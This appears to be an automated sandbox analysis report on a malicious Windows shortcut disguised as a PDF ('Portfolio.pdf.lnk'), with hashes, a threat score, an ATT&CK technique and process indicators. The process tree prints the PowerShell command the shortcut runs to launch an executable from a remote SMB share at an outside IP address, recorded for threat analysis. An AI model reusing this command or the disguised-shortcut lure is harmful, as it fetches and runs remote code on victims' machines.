1982aa4c747fdf0c764baf3e87ada16ca9f663713b71bb4cbe179a63e4ad6f82

Analysis

max time kernel
27s
max time network
30s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
03/06/2023, 17:37

Target

Portfolio/Portfolio.pdf.lnk
Size

2KB
MD5

5657c7952d1f9a7a856abcc8e1a4f59f
SHA1

28c4bcb096309d0e208554dd4bac9b675b37f054
SHA256

8046608a1d4e7e39912c6178fe024a4f95fdfd6ce57880b519d6cfd6698d4f3a
SHA512

47189c5fbf6171c7827840eadfe00c9cef1002ef9e8d2d6f7ea6c2de3f5b1451f5b036b2c53ea36232a08c609d2f8866a0f66c947ee9a4d5d14c226612721757

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1684	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1684	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 972 wrote to memory of 1684	972	cmd.exe	28
PID 972 wrote to memory of 1684	972	cmd.exe	28
PID 972 wrote to memory of 1684	972	cmd.exe	28

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Portfolio\Portfolio.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "\\89.23.98.56\sharedatalnk\System.Messaging.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1684

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1684-92-0x000000001B290000-0x000000001B572000-memory.dmp

Filesize
2.9MB

Download
memory/1684-93-0x0000000001E30000-0x0000000001E38000-memory.dmp

Filesize
32KB

Download
memory/1684-94-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/1684-95-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/1684-96-0x00000000025EB000-0x0000000002622000-memory.dmp

Filesize
220KB

Download